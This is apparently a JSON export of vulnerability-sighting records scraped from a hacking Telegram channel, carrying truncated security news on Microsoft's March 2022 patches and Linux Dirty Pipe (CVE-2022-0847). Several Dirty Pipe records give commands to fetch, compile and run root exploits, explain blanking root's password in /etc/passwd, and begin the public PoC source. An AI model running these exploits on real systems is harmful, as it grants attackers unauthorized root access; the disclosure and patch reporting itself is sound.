trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23285", "author": {"login": "automation"}}, {"uuid": "7f97699a-5ffb-498d-961f-382d8fb74240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.475451+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24512", "author": {"login": "automation"}}, {"uuid": "4c21fa15-8de6-4f8e-a4b9-ea3db3f2b9b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.420321+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45624", "content": "ould form the connective tissue in any multi-stage attack, are marked as more likely to be exploited and also therefore warrant interest. Addressing these will stop a potentially limited incursion becoming more serious.\u201d\n\nAnd finally, the Xbox bug (CVE-2022-21967) exists in the Xbox Live authentication manager for Windows, and can allow elevation of privilege. It\u2019s notable for its uniqueness.\n\n\u201cThis appears to be the first security patch impacting Xbox specifically,\u201d Childs said. \u201cThere was an advisory for an inadvertently disclosed Xbox Live certificate back in 2015, but this seems to be the first security-specific update for the device itself.\u201d Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/linux-kernel-double-free-vulnerability-90x90.png New Linux bug gives root on all major distros, exploit released23 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/firefox-90x90.jpg Mozilla Firefox 97.0.2 fixes two actively exploited zero-day bugs2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/small-business-internet-security-90x90.jpg Google WAF bypassed via oversized POST requests5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-4-90x90.jpg Ukraine invasion: WordPress-hosted university websites hacked in \u2018targeted attacks\u20196 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-90x90.jpg RCE Bugs in WhatsApp, Other Hugely Popular VoIP Apps: Patch Now!7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/download-90x90.jpg Cyber-attack on Nvidia linked to Lapsus$ ransomware gang1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/GettyImages-802535150-1-90x90.jpg Conti ransomware\u2019s internal chats leaked after siding with Russia1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/6469-article-220223-ukraine-body-text-90x90.jpg Data wiper deployed in cyber-attacks targeting Ukrainian systems2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/T8F9rL5Ub6TRWHtQwsVCK6-1200-80-90x90.jpg Samsung Shattered Encryption on 100M Phones2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/4346-article-220222-airtags-body-text-90x90.jpg AirTag clone bypassed Apple\u2019s tracking-protection features, claims researcher2 weeks ago\nThe post Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for March first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21967", "author": {"login": "automation"}}, {"uuid": "6297b199-6afd-4ef7-ae6f-4d74933aefb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.371175+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45687", "content": "mmand:\n./traitor-amd64 --exploit kernel:CVE-2022-0847\nwhoami\nid \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhTJNt8w0i3kBKYrN7n7UpMIl6ILuM2p_zh5tNzVPj-GMiVlfwcwopgYQ2oCxzz_t-vTgmhk6Xec2ANV5wQXMkUIjXeLT3-IdIqK36XnwZxLUvpSIg__sA6FE8rHIhVgtv2khA9sJ2Q6TOIdEPKyaEeABllXaJiY_PSQAaqhZG3w5j4x4vVQRUUhLSicA=s16000 \n\nAnd just like that, we have achieved escalated privileges! The exploit ran, injected data in /etc/passwd which makes my current user root, then spawned a shell automatically! Demonstration: Method 2Based on the same guidelines, Arinerron created an exploit in C too. It creates a backup of /etc/passwd, injects data and then restores and spawns a shell as root!\n\nTo download, compile and run this you can run the following commands:\ngit clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git\ncd CVE-2022-0847-DirtyPipe-Exploit\n./compile.sh\n./exploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjw2vyTNVMXAgnKMHg0UxgM_A-01n1bU8B2zOG6LbrejFra80HXgAmakE9dBbw1QajaFHp0vMRzN8XPMtskEMZ_bwklzV5uXKZX0fTe5iNbgD_O5_zuRTAgYgkirzez_Uz7ptKiTpe8vrGLjQJk87DaHZKX2UpMR84Y_7h6tvfC9XogRsGKbZglic3cdg=s16000 \n\nAnd just like that, we are now root! Patch statusThe vulnerability has been fixed in Linux 5.16.11, 5.15.25, and 5.10.102 with new patches ongoing. ConclusionDirtyPipe is a high impact vulnerability with a low complexity attack vector. Organizations must immediately patch their systems with the latest Kernel patches as and when they are rolled out. Hope you liked the article and thanks for reading it.\n\nAuthor: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here\n\nThe post Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) appeared first on Hacking Articles.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "adbe3e2b-2957-4af5-8ef3-3b702312138b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.322686+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45556", "content": "hacking: security in practice\nCVE-2022-26143: TP240PhoneHome reflection/amplification DDoS attack vector\n\nhttps://external-preview.redd.it/s5CT9rsCPeHTnFRnXjVuHNZb0uKtbMDv2ydvcoie6O4.jpg?width=640&crop=smart&auto=webp&s=429030fd4660f7c2e9ce5f7b0c591a561a3faf23 submitted by /u/AlexForster \n[link] [comments]", "vulnerability": "CVE-2022-26143", "author": {"login": "automation"}}, {"uuid": "3380968c-bbaa-47db-8bbc-fe30e8e1e6ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.271770+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45622", "content": "Black Hat Ethical Hacking\nMicrosoft Addresses 3 Zero-Days & 3 Critical Bugs for March\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for MarchPost Views: 29 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nMicrosoft patched 71 security vulnerabilities in an uncharacteristically light scheduled update, including its first Xbox bug.\nMicrosoft has addressed 71 security vulnerabilities in its scheduled March Patch Tuesday update \u2013 only three of which are rated critical in severity. The other 68 are all rated \u201cimportant.\u201d\n\nThree of the bugs are listed as publicly known zero-days, but none of them are listed as having been exploited in the wild (thus far).\n\nThe issues affect the gamut of the computing giant\u2019s portfolio, including Microsoft Windows and Windows Components, Azure Site Recovery, Microsoft Defender for Endpoint and IoT, Intune, Edge (Chromium-based), Windows HTML Platforms, Office and Office Components, Skype, .NET and Visual Studio, Windows RDP, SMB Server.\n\nNotably, the tranche also contains the first-ever patch for the Xbox gaming console.\n\nIt\u2019s worth noting that the update marks the second month in a row with a surprisingly low number of critical patches; in fact, February\u2019s Patch Tuesday update didn\u2019t list any.\n\n\u201cThe number of critical-rated patches is again strangely low for this number of bugs,\u201d Trend Micro Zero-Day Initiative researcher Dustin Childs noted in an email. \u201cIt\u2019s unclear if this low percentage of bugs is just a coincidence, or if Microsoft might be evaluating the severity using different calculus than in the past.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course Critical-Rated Microsoft Security BugsThe three critical bugs, all of which could lead to remote code execution, are:\n\n* CVE-2022-22006: HEVC Video Extensions (CVSS rating of 7.8)\n* CVE-2022-24501: VP9 Video Extensions (CVSS rating of 7.8)\n* CVE-2022-23277: Microsoft Exchange Server (CVSS rating of 8.8)\n\nBoth video extensions bugs, in HEVC and VP9, require social engineering; an attacker would need to convince a victim to download and open a specially crafted file, which could lead to a crash, according to Microsoft\u2019s advisory.\n\nThe video extensions are coding standards for video compression that Windows is able to run so that users can watch high-fidelity videos. Paul Laudanski, head of threat intelligence at Tessian, noted that the likelihood of compromise is low, thanks to the user-interaction requirement.\n\nThat said, the VP9 bug is more crucial for patching, he said: \u201cVP9 is supported by modern day browsers except for Internet Explorer, so it is critical for users to ensure they are updating them. While VP9 is open and royalty free, the other file code affected, HEVC, is one that users have to purchase a license for.\u201d\n\nThe vulnerability in Exchange Server meanwhile would allow an authenticated attacker to target server accounts with the aim of executing code with elevated privileges, through a network call. Laudanski added that the vulnerability arises from the server not correctly handling objects in memory, which can lead to code execution.\n\nHere, the attacker must be authenticated. Even so, \u201cthis is also listed as low complexity with exploitation more likely, so it wouldn\u2019t surprise me to see this bug exploited in the wild soon,\u201d Childs noted. \u201cTest and deploy this to your Exchange servers quickly.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Kevin Breen, director of cyber-threat research at Immersive Labs, agreed. \u201cWhile requiring authentication, this vul[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23277", "author": {"login": "automation"}}, {"uuid": "1c8ad74c-8aa9-44a6-b2ed-8266193aca0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.232169+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45622", "content": "Black Hat Ethical Hacking\nMicrosoft Addresses 3 Zero-Days & 3 Critical Bugs for March\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for MarchPost Views: 29 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nMicrosoft patched 71 security vulnerabilities in an uncharacteristically light scheduled update, including its first Xbox bug.\nMicrosoft has addressed 71 security vulnerabilities in its scheduled March Patch Tuesday update \u2013 only three of which are rated critical in severity. The other 68 are all rated \u201cimportant.\u201d\n\nThree of the bugs are listed as publicly known zero-days, but none of them are listed as having been exploited in the wild (thus far).\n\nThe issues affect the gamut of the computing giant\u2019s portfolio, including Microsoft Windows and Windows Components, Azure Site Recovery, Microsoft Defender for Endpoint and IoT, Intune, Edge (Chromium-based), Windows HTML Platforms, Office and Office Components, Skype, .NET and Visual Studio, Windows RDP, SMB Server.\n\nNotably, the tranche also contains the first-ever patch for the Xbox gaming console.\n\nIt\u2019s worth noting that the update marks the second month in a row with a surprisingly low number of critical patches; in fact, February\u2019s Patch Tuesday update didn\u2019t list any.\n\n\u201cThe number of critical-rated patches is again strangely low for this number of bugs,\u201d Trend Micro Zero-Day Initiative researcher Dustin Childs noted in an email. \u201cIt\u2019s unclear if this low percentage of bugs is just a coincidence, or if Microsoft might be evaluating the severity using different calculus than in the past.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course Critical-Rated Microsoft Security BugsThe three critical bugs, all of which could lead to remote code execution, are:\n\n* CVE-2022-22006: HEVC Video Extensions (CVSS rating of 7.8)\n* CVE-2022-24501: VP9 Video Extensions (CVSS rating of 7.8)\n* CVE-2022-23277: Microsoft Exchange Server (CVSS rating of 8.8)\n\nBoth video extensions bugs, in HEVC and VP9, require social engineering; an attacker would need to convince a victim to download and open a specially crafted file, which could lead to a crash, according to Microsoft\u2019s advisory.\n\nThe video extensions are coding standards for video compression that Windows is able to run so that users can watch high-fidelity videos. Paul Laudanski, head of threat intelligence at Tessian, noted that the likelihood of compromise is low, thanks to the user-interaction requirement.\n\nThat said, the VP9 bug is more crucial for patching, he said: \u201cVP9 is supported by modern day browsers except for Internet Explorer, so it is critical for users to ensure they are updating them. While VP9 is open and royalty free, the other file code affected, HEVC, is one that users have to purchase a license for.\u201d\n\nThe vulnerability in Exchange Server meanwhile would allow an authenticated attacker to target server accounts with the aim of executing code with elevated privileges, through a network call. Laudanski added that the vulnerability arises from the server not correctly handling objects in memory, which can lead to code execution.\n\nHere, the attacker must be authenticated. Even so, \u201cthis is also listed as low complexity with exploitation more likely, so it wouldn\u2019t surprise me to see this bug exploited in the wild soon,\u201d Childs noted. \u201cTest and deploy this to your Exchange servers quickly.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Kevin Breen, director of cyber-threat research at Immersive Labs, agreed. \u201cWhile requiring authentication, this vul[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24501", "author": {"login": "automation"}}, {"uuid": "b2cfcb22-6f9f-409a-85c6-61f08e6d882e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.195316+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45622", "content": "Black Hat Ethical Hacking\nMicrosoft Addresses 3 Zero-Days & 3 Critical Bugs for March\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for MarchPost Views: 29 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nMicrosoft patched 71 security vulnerabilities in an uncharacteristically light scheduled update, including its first Xbox bug.\nMicrosoft has addressed 71 security vulnerabilities in its scheduled March Patch Tuesday update \u2013 only three of which are rated critical in severity. The other 68 are all rated \u201cimportant.\u201d\n\nThree of the bugs are listed as publicly known zero-days, but none of them are listed as having been exploited in the wild (thus far).\n\nThe issues affect the gamut of the computing giant\u2019s portfolio, including Microsoft Windows and Windows Components, Azure Site Recovery, Microsoft Defender for Endpoint and IoT, Intune, Edge (Chromium-based), Windows HTML Platforms, Office and Office Components, Skype, .NET and Visual Studio, Windows RDP, SMB Server.\n\nNotably, the tranche also contains the first-ever patch for the Xbox gaming console.\n\nIt\u2019s worth noting that the update marks the second month in a row with a surprisingly low number of critical patches; in fact, February\u2019s Patch Tuesday update didn\u2019t list any.\n\n\u201cThe number of critical-rated patches is again strangely low for this number of bugs,\u201d Trend Micro Zero-Day Initiative researcher Dustin Childs noted in an email. \u201cIt\u2019s unclear if this low percentage of bugs is just a coincidence, or if Microsoft might be evaluating the severity using different calculus than in the past.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course Critical-Rated Microsoft Security BugsThe three critical bugs, all of which could lead to remote code execution, are:\n\n* CVE-2022-22006: HEVC Video Extensions (CVSS rating of 7.8)\n* CVE-2022-24501: VP9 Video Extensions (CVSS rating of 7.8)\n* CVE-2022-23277: Microsoft Exchange Server (CVSS rating of 8.8)\n\nBoth video extensions bugs, in HEVC and VP9, require social engineering; an attacker would need to convince a victim to download and open a specially crafted file, which could lead to a crash, according to Microsoft\u2019s advisory.\n\nThe video extensions are coding standards for video compression that Windows is able to run so that users can watch high-fidelity videos. Paul Laudanski, head of threat intelligence at Tessian, noted that the likelihood of compromise is low, thanks to the user-interaction requirement.\n\nThat said, the VP9 bug is more crucial for patching, he said: \u201cVP9 is supported by modern day browsers except for Internet Explorer, so it is critical for users to ensure they are updating them. While VP9 is open and royalty free, the other file code affected, HEVC, is one that users have to purchase a license for.\u201d\n\nThe vulnerability in Exchange Server meanwhile would allow an authenticated attacker to target server accounts with the aim of executing code with elevated privileges, through a network call. Laudanski added that the vulnerability arises from the server not correctly handling objects in memory, which can lead to code execution.\n\nHere, the attacker must be authenticated. Even so, \u201cthis is also listed as low complexity with exploitation more likely, so it wouldn\u2019t surprise me to see this bug exploited in the wild soon,\u201d Childs noted. \u201cTest and deploy this to your Exchange servers quickly.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Kevin Breen, director of cyber-threat research at Immersive Labs, agreed. \u201cWhile requiring authentication, this vul[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22006", "author": {"login": "automation"}}, {"uuid": "d00f0317-4595-48ea-8915-500fc23a5cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.154631+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45476", "content": "Black Hat Ethical Hacking\nNew Linux bug gives root on all major distros, exploit released\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png New Linux bug gives root on all major distros, exploit releasedPost Views: 2 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nA new Linux vulnerability known as \u2018Dirty Pipe\u2019 allows local users to gain root privileges through publicly available exploits.\nToday, security researcher Max Kellermann responsibly disclosed the \u2018Dirty Pipe\u2019 vulnerability and stated that it affects Linux Kernel 5.8 and later versions, even on Android devices.\n\nThe vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root.\n\nKellerman discovered the bug after tracking down a bug that was corrupting web server access logs for one of his customers.\n\nKellerman states that the vulnerability is similar to the Dirty COW vulnerability\u00a0(CVE-2016-5195) fixed in 2016.\nSee Also: Complete Offensive Security and Ethical Hacking Course Public exploits give root privileges As part of the Dirty Pipe disclosure, Kellerman released a proof-of-concept (PoC) exploit that allows local users to inject their own data into sensitive read-only files, removing restrictions or modifying configurations to provide greater access than they usually would have.\n\nFor example, security researcher Phith0n\u00a0illustrated how they could use the exploit to modify the /etc/passwd file so that the root user does not have a password. Once this change is made, the non-privileged user could simply execute the \u2018su root\u2018 command to gain access to the root account.\nWhy did I overwrite the /etc/passwd?\nBecause this file saves all the user information on Linux.\nI remove the \"x\" flag behind the \"root\" user, it means that I set an empty password for this user. So I can use \"su root\" to escalate privilege without credentials.\n\n\u2014 Phith0n (@phithon_xg) March 7, 2022\nHowever, an updated exploit by security researcher BLASTY\u00a0was also publicly released today that makes it even easier to gain root privileges\u00a0by patching the /usr/bin/su command to drop a root shell at /tmp/sh and then executing the script.\n\nOnce executed, the user gains root privileges, as demonstrated by BleepingComputer below in Ubuntu 20.04.3 LTS running the 5.13.0-27-generic kernel.\nhttps://www.bleepstatic.com/images/news/security/attacks/l/linux/dirtypipe/dirtypipe-poc.jpg \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "6408c54a-bbca-4501-8b64-313367c50eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.111951+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45476", "content": "Black Hat Ethical Hacking\nNew Linux bug gives root on all major distros, exploit released\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png New Linux bug gives root on all major distros, exploit releasedPost Views: 2 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nA new Linux vulnerability known as \u2018Dirty Pipe\u2019 allows local users to gain root privileges through publicly available exploits.\nToday, security researcher Max Kellermann responsibly disclosed the \u2018Dirty Pipe\u2019 vulnerability and stated that it affects Linux Kernel 5.8 and later versions, even on Android devices.\n\nThe vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root.\n\nKellerman discovered the bug after tracking down a bug that was corrupting web server access logs for one of his customers.\n\nKellerman states that the vulnerability is similar to the Dirty COW vulnerability\u00a0(CVE-2016-5195) fixed in 2016.\nSee Also: Complete Offensive Security and Ethical Hacking Course Public exploits give root privileges As part of the Dirty Pipe disclosure, Kellerman released a proof-of-concept (PoC) exploit that allows local users to inject their own data into sensitive read-only files, removing restrictions or modifying configurations to provide greater access than they usually would have.\n\nFor example, security researcher Phith0n\u00a0illustrated how they could use the exploit to modify the /etc/passwd file so that the root user does not have a password. Once this change is made, the non-privileged user could simply execute the \u2018su root\u2018 command to gain access to the root account.\nWhy did I overwrite the /etc/passwd?\nBecause this file saves all the user information on Linux.\nI remove the \"x\" flag behind the \"root\" user, it means that I set an empty password for this user. So I can use \"su root\" to escalate privilege without credentials.\n\n\u2014 Phith0n (@phithon_xg) March 7, 2022\nHowever, an updated exploit by security researcher BLASTY\u00a0was also publicly released today that makes it even easier to gain root privileges\u00a0by patching the /usr/bin/su command to drop a root shell at /tmp/sh and then executing the script.\n\nOnce executed, the user gains root privileges, as demonstrated by BleepingComputer below in Ubuntu 20.04.3 LTS running the 5.13.0-27-generic kernel.\nhttps://www.bleepstatic.com/images/news/security/attacks/l/linux/dirtypipe/dirtypipe-poc.jpg \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-5195", "author": {"login": "automation"}}, {"uuid": "33183b95-04b2-427c-98f3-9b96c101bac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.068856+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45500", "content": "Exploit Collector\nDirty Pipe Linux Privilege Escalation\n\nhttps://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png \nProof of concept for a vulnerability in the Linux kernel existing since version 5.8 that allows overwriting data in arbitrary read-only files. This leads to privilege escalation because unprivileged processes can inject code into root processes.\n\nMD5 | 5689094308e86708965f5bdb2e727f11\n\nDownload\n/* SPDX-License-Identifier: GPL-2.0 */\n/*\n* Copyright 2022 CM4all GmbH / IONOS SE\n*\n* author: Max Kellermann <max.kellermann@ionos.com\n*\n* Proof-of-concept exploit for the Dirty Pipe\n* vulnerability (CVE-2022-0847) caused by an uninitialized\n* \"pipe_buffer.flags\" variable.  It demonstrates how to overwrite any\n* file contents in the page cache, even if the file is not permitted\n* to be written, immutable or on a read-only mount.\n*\n* This exploit requires Linux 5.8 or later; the code path was made\n* reachable by commit f6dd975583bd (\"pipe: merge\n* anon_pipe_buf*_ops\").  The commit did not introduce the bug, it was\n* there before, it just provided an easy way to exploit it.\n*\n* There are two major limitations of this exploit: the offset cannot\n* be on a page boundary (it needs to write one byte before the offset\n* to add a reference to this page to the pipe), and the write cannot\n* cross a page boundary.\n*\n* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'\n*\n* Further explanation: https://dirtypipe.cm4all.com/\n*/\n\n#define _GNU_SOURCE\n#include <unistd.h\n#include <fcntl.h\n#include <stdio.h\n#include <stdlib.h\n#include <string.h\n#include <sys\n#include <sys\n\n#ifndef PAGE_SIZE\n#define PAGE_SIZE 4096", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "cb38e2d3-c27a-41f2-8e7d-fa78e58bebac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.028068+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45502", "content": "Exploit Collector\nDirty Pipe SUID Binary Hijack Privilege Escalation\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nVariant proof of concept exploit for the Dirty Pipe file overwrite vulnerability. This version hijacks a SUID binary to spawn a root shell.\n\nMD5 | 7068d6d27faedd0b32b56e4d39ae9688\n\nDownload\n//\n// dirtypipez.c\n//\n// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn\n// a root shell. (and attempts to restore the damaged binary as well)\n//\n// Wow, Dirty CoW reloaded!\n//\n// -- blasty <peter@haxx.in// 2022-03-07\n\n/* SPDX-License-Identifier: GPL-2.0 */\n/*\n* Copyright 2022 CM4all GmbH / IONOS SE\n*\n* author: Max Kellermann <max.kellermann@ionos.com\n*\n* Proof-of-concept exploit for the Dirty Pipe\n* vulnerability (CVE-2022-0847) caused by an uninitialized\n* \"pipe_buffer.flags\" variable.  It demonstrates how to overwrite any\n* file contents in the 